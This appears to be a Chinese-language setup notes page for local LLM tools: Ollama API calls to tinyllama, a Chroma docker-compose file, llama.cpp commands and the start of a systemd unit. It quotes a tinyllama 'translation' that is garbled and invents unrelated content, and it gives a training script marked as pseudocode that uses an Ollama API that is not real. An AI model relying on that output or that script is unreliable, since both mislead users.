{\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:52.931752276Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;我\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:53.068537835Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;們\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:53.220381342Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;網\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:53.361561193Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;頁\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:53.412407789Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;上\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:53.462225534Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;的\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:53.512090102Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;海\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:53.561875086Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;洋\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:53.700843418Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;質\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:53.754186523Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;量\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:53.805603572Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;查\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:53.856076933Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;看\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:53.906722116Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;，\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:54.034724147Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;您\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:54.087657332Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;可\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:54.139502958Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;以\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:54.28287578Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;準\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:54.426822761Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;備\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:54.478699825Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;自\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:54.633648876Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;己\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:54.685650389Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;的\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:54.728920971Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;海\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:54.778485203Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;洋\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:54.896653578Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;評\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:54.945268384Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;論\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:54.993799238Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;。\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:55.04224875Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;\\n\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:55.076421542Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;\\n\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:55.216549942Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;歡\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:55.333257782Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;迎\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:55.443679709Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;從\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:55.485486867Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;我\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:55.597727022Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;們\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:55.645862043Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;的\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:55.752388588Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;網\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:55.865183017Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;頁\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:55.905797716Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;上\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:56.013717327Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;找\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:56.142315137Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;話\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:56.190594034Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;合\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:56.237849651Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;系\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:56.343727269Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;統\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:56.457784236Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;視\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:56.584559221Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;覺\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:56.617453984Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;化\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:56.729317789Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;質\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:56.771428557Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;量\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:56.812931121Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;，\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:56.859933085Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;或\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:56.89400667Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;是\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:57.004299576Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;尋\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:57.116811642Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;找\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:57.248189565Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;話\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:57.297164265Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;合\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:57.345871914Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;系\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:57.463032036Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;統\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:57.511668607Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;，\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:57.630433191Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;並\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:57.679541783Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;在\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:57.72835035Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;其\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:57.776861788Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;中\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:57.891341255Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;掃\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:58.006553015Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;標\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:58.054238023Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;記\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:58.096310384Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;。\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:58.14480808Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;\u0026#34;},\u0026#34;done_reason\u0026#34;:\u0026#34;stop\u0026#34;,\u0026#34;done\u0026#34;:true,\u0026#34;total_duration\u0026#34;:41352753203,\u0026#34;load_duration\u0026#34;:361847490,\u0026#34;prompt_eval_count\u0026#34;:60,\u0026#34;prompt_eval_duration\u0026#34;:841912000,\u0026#34;eval_count\u0026#34;:913,\u0026#34;eval_duration\u0026#34;:40016081000} 顯示結果: streaming: false\n1 2 3 4 5 6 7 8 ❯ curl http://localhost:11434/api/chat -d \u0026#39;{ \u0026#34;model\u0026#34;: \u0026#34;tinyllama\u0026#34;, \u0026#34;messages\u0026#34;: [ { \u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;幫我翻譯程繁體中文: A terminal for the modern age\u0026#34; } ], \u0026#34;stream\u0026#34;: false }\u0026#39; {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:43:12.069229467Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;Ai 台積電器為今天的時代，一貫整合\\n\\n開機、刀鋒、打電話、聽廣播、以及很多其他重要功能，讓你更有助於產業工作。\\n\\nAI 的既然為人而生，並不是技術或程式，它是一種軟體，可以幫助人生大多次方便和更快。\\n\\n將 AI 的智慧，集中在眼前，像是一護士，覓記你的任何事情，不管重要性高、低或者中等。\\n\\nAI 讓人生更有助於產業工作，提供了可順利、快速、專業和安全的能力。\\n\\n所以，如果你想使用 AI，就應該選擇 AI 台積電器。\\n\\n幫我翻譯成總體中文：Ai 台積電機是今天的工作生活方式的一貫整合，提供你更有助於业务生活的重要功能。AI的根本原因是为人而生，不是技巧或程序，可以幫助生活方式更快、安心、廣播和更有效。集中在眼前，就像是一護士，覓記你的任何事情，不管重要性高、低或者中等。AI可以提供更加有助於生活工作的能力，將人生更為順利、安心、快速、專業和安全的極級功能。\u0026#34;},\u0026#34;done_reason\u0026#34;:\u0026#34;stop\u0026#34;,\u0026#34;done\u0026#34;:true,\u0026#34;total_duration\u0026#34;:15583417727,\u0026#34;load_duration\u0026#34;:646682,\u0026#34;prompt_eval_duration\u0026#34;:36482000,\u0026#34;eval_count\u0026#34;:513,\u0026#34;eval_duration\u0026#34;:15409804000}% 訓練 # 1 ollama run tinyllama \u0026#34;summarize this text\u0026#34; \u0026lt; /data/ollama/data/lcms-QA.txt 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 # 導入 Ollama 庫（如果有） import ollama # 設定訓練參數 training_data_path = \u0026#34;/data/ollama/data\u0026#34; model_save_path = \u0026#34;/data/ollama/model\u0026#34; other_parameters = { \u0026#34;learning_rate\u0026#34;: 0.001, \u0026#34;batch_size\u0026#34;: 32, \u0026#34;epochs\u0026#34;: 10 } # 初始化 Ollama 模型（偽代碼） model = ollama.Model() # 加載訓練資料 model.load_data(training_data_path) # 設定訓練參數 model.set_parameters(**other_parameters) # 開始訓練 model.train() # 保存模型 model.save(model_save_path) print(\u0026#34;模型訓練完成並保存至\u0026#34;, model_save_path) 1 python3 train_ollama.py Chroma DB # 1 2 3 4 5 6 7 8 9 10 11 version: \u0026#39;3.8\u0026#39; services: chromadb: image: chromadb/chroma container_name: chromadb ports: - \u0026#34;8000:8000\u0026#34; volumes: - /data/anythingllm/data/chroma-data:/chroma/chroma restart: unless-stopped 1 2 3 4 5 6 7 8 9 10 11 sudo ./build/bin/llama-cli \\ -m /usr/share/ollama/.ollama/models/blobs/sha256-ef3922f6835ee8e6232e03f48a3375b27bc882beb10cfbfefc5e23a2d0f01b17 \\ -t 6 \\ --system-prompt-file /usr/share/ollama/oracle_expert.txt \\ -c 16384 \\ --temp 0.5 \\ --repeat-penalty 1.1 \\ -n -1 \\ --top-k 40 \\ --top-p 0.9 \\ --prompt \u0026#34;什麼是 Oraacel Database\u0026#34; 1 2 3 4 5 6 7 8 ./build/bin/llama-cli \\ -m /path/to/your/model.gguf \\ -t 6 \\ -c 16384 \\ --temp 0.7 \\ --repeat-penalty 1.1 \\ -n -1 \\ --prompt \u0026#34;User: Hello! \\nAssistant:\u0026#34; 1 2 3 4 5 6 7 sudo su - ollama \\ /usr/local/bin/llama-server \\ -m /usr/share/ollama/.ollama/models/blobs/sha256-ef3922f6835ee8e6232e03f48a3375b27bc882beb10cfbfefc5e23a2d0f01b17 \\ -t 6 \\ -c 8192 \\ --port 8080 \\ --host 0.0.0.0 /etc/systemd/system/gemma4-server.service 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 [Unit] Description=Gemma 4 MoE Server (llama.cpp) After=network.target [Service] # 以 ollama 帳號執行，解決所有權限問題 User=ollama Group=ollama WorkingDirectory=/usr/share/ollama 